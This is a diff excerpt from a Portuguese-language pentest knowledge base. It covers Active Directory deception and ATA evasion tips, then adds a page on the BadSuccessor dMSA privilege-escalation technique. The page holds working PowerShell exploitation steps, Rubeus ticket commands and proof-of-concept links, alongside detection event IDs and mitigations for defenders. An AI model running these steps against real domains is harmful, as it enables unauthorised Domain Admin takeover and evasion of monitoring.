- Implementar engano envolve a configuração de armadilhas, como usuários ou computadores iscas, com características como senhas que não expiram ou são marcadas como Confiáveis para Delegação. Uma abordagem detalhada inclui a criação de usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
|
||||
- Um exemplo prático envolve o uso de ferramentas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Mais sobre a implementação de técnicas de engano pode ser encontrado em [Deploy-Deception no GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identificando Engano**
|
||||
|
||||
- **Para Objetos de Usuário**: Indicadores suspeitos incluem ObjectSID atípico, logons infrequentes, datas de criação e contagens baixas de senhas incorretas.
|
||||
- **Indicadores Gerais**: Comparar atributos de objetos de isca potenciais com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar tais enganos.
|
||||
- **Indicadores Gerais**: Comparar atributos de objetos iscas potenciais com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar tais enganos.
|
||||
|
||||
### **Evitando Sistemas de Detecção**
|
||||
|
||||
- **Bypass de Detecção do Microsoft ATA**:
|
||||
- **Desvio de Detecção do Microsoft ATA**:
|
||||
- **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção do ATA.
|
||||
- **Impersonação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
|
||||
- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta de um Controlador de Domínio acionará alertas.
|
||||
- **Imitação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
|
||||
- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta a partir de um controlador de domínio acionará alertas.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -0,0 +1,101 @@
|
||||
# BadSuccessor: Escalação de Privilégios via Abuso de Migração de dMSA Delegado
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão Geral
|
||||
|
||||
Contas de Serviço Gerenciadas Delegadas (**dMSA**) são a próxima geração sucessora das **gMSA** que serão lançadas no Windows Server 2025. Um fluxo de trabalho de migração legítimo permite que administradores substituam uma conta *antiga* (usuário, computador ou conta de serviço) por um dMSA enquanto preservam permissões de forma transparente. O fluxo de trabalho é exposto através de cmdlets do PowerShell, como `Start-ADServiceAccountMigration` e `Complete-ADServiceAccountMigration`, e depende de dois atributos LDAP do **objeto dMSA**:
|
||||
|
||||
* **`msDS-ManagedAccountPrecededByLink`** – *link DN* para a conta supersedida (antiga).
|
||||
* **`msDS-DelegatedMSAState`** – estado da migração (`0` = nenhum, `1` = em andamento, `2` = *completo*).
|
||||
|
||||
Se um atacante puder criar **qualquer** dMSA dentro de uma OU e manipular diretamente esses 2 atributos, o LSASS e o KDC tratarão o dMSA como um *sucessor* da conta vinculada. Quando o atacante autentica como o dMSA **eles herdam todos os privilégios da conta vinculada** – até **Administrador de Domínio** se a conta de Administrador estiver vinculada.
|
||||
|
||||
Essa técnica foi chamada de **BadSuccessor** pela Unit 42 em 2025. No momento da redação, **nenhum patch de segurança** está disponível; apenas o endurecimento das permissões da OU mitiga o problema.
|
||||
|
||||
### Pré-requisitos do Ataque
|
||||
|
||||
1. Uma conta que é *permitida* a criar objetos dentro de **uma Unidade Organizacional (OU)** *e* tem pelo menos um dos seguintes:
|
||||
* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** classe de objeto
|
||||
* `Create Child` → **`All Objects`** (criação genérica)
|
||||
2. Conectividade de rede com LDAP e Kerberos (cenário padrão de domínio unido / ataque remoto).
|
||||
|
||||
## Enumerando OUs Vulneráveis
|
||||
|
||||
A Unit 42 lançou um script auxiliar do PowerShell que analisa descritores de segurança de cada OU e destaca os ACEs necessários:
|
||||
```powershell
|
||||
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
|
||||
```
|
||||
Sob o capô, o script executa uma busca LDAP paginada por `(objectClass=organizationalUnit)` e verifica cada `nTSecurityDescriptor` por
|
||||
|
||||
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
|
||||
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (classe de objeto *msDS-DelegatedManagedServiceAccount*)
|
||||
|
||||
## Etapas de Exploração
|
||||
|
||||
Uma vez que uma OU gravável é identificada, o ataque está a apenas 3 gravações LDAP de distância:
|
||||
```powershell
|
||||
# 1. Create a new delegated MSA inside the delegated OU
|
||||
New-ADServiceAccount -Name attacker_dMSA \
|
||||
-DNSHostName host.contoso.local \
|
||||
-Path "OU=DelegatedOU,DC=contoso,DC=com"
|
||||
|
||||
# 2. Point the dMSA to the target account (e.g. Domain Admin)
|
||||
Set-ADServiceAccount attacker_dMSA -Add \
|
||||
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
|
||||
|
||||
# 3. Mark the migration as *completed*
|
||||
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
|
||||
```
|
||||
Após a replicação, o atacante pode simplesmente **logon** como `attacker_dMSA$` ou solicitar um TGT Kerberos – o Windows irá construir o token da conta *superseded*.
|
||||
|
||||
### Automação
|
||||
|
||||
Vários PoCs públicos envolvem todo o fluxo de trabalho, incluindo recuperação de senha e gerenciamento de tickets:
|
||||
|
||||
* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||||
* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
* Módulo NetExec – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
|
||||
|
||||
### Pós-Exploração
|
||||
```powershell
|
||||
# Request a TGT for the dMSA and inject it (Rubeus)
|
||||
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
|
||||
Rubeus ptt /ticket:<Base64TGT>
|
||||
|
||||
# Access Domain Admin resources
|
||||
dir \\DC01\C$
|
||||
```
|
||||
## Detecção & Caça
|
||||
|
||||
Ative a **Auditoria de Objetos** em OUs e monitore os seguintes Eventos de Segurança do Windows:
|
||||
|
||||
* **5137** – Criação do objeto **dMSA**
|
||||
* **5136** – Modificação de **`msDS-ManagedAccountPrecededByLink`**
|
||||
* **4662** – Mudanças em atributos específicos
|
||||
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
|
||||
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
|
||||
* **2946** – Emissão de TGT para o dMSA
|
||||
|
||||
Correlacionar `4662` (modificação de atributo), `4741` (criação de uma conta de computador/serviço) e `4624` (logon subsequente) destaca rapidamente a atividade de BadSuccessor. Soluções XDR como **XSIAM** vêm com consultas prontas para uso (veja referências).
|
||||
|
||||
## Mitigação
|
||||
|
||||
* Aplique o princípio de **menor privilégio** – apenas delegue a gestão de *Conta de Serviço* a funções confiáveis.
|
||||
* Remova `Create Child` / `msDS-DelegatedManagedServiceAccount` de OUs que não exigem explicitamente.
|
||||
* Monitore os IDs de evento listados acima e alerte sobre identidades *não-Tier-0* criando ou editando dMSAs.
|
||||
|
||||
## Veja também
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [Unit42 – Quando Boas Contas Vão Mal: Explorando Contas de Serviço Gerenciadas Delegadas](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
|
||||
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
|
||||
- [BadSuccessor.ps1 – Coleção de Ferramentas de Pentest](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
- [Módulo BadSuccessor do NetExec](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user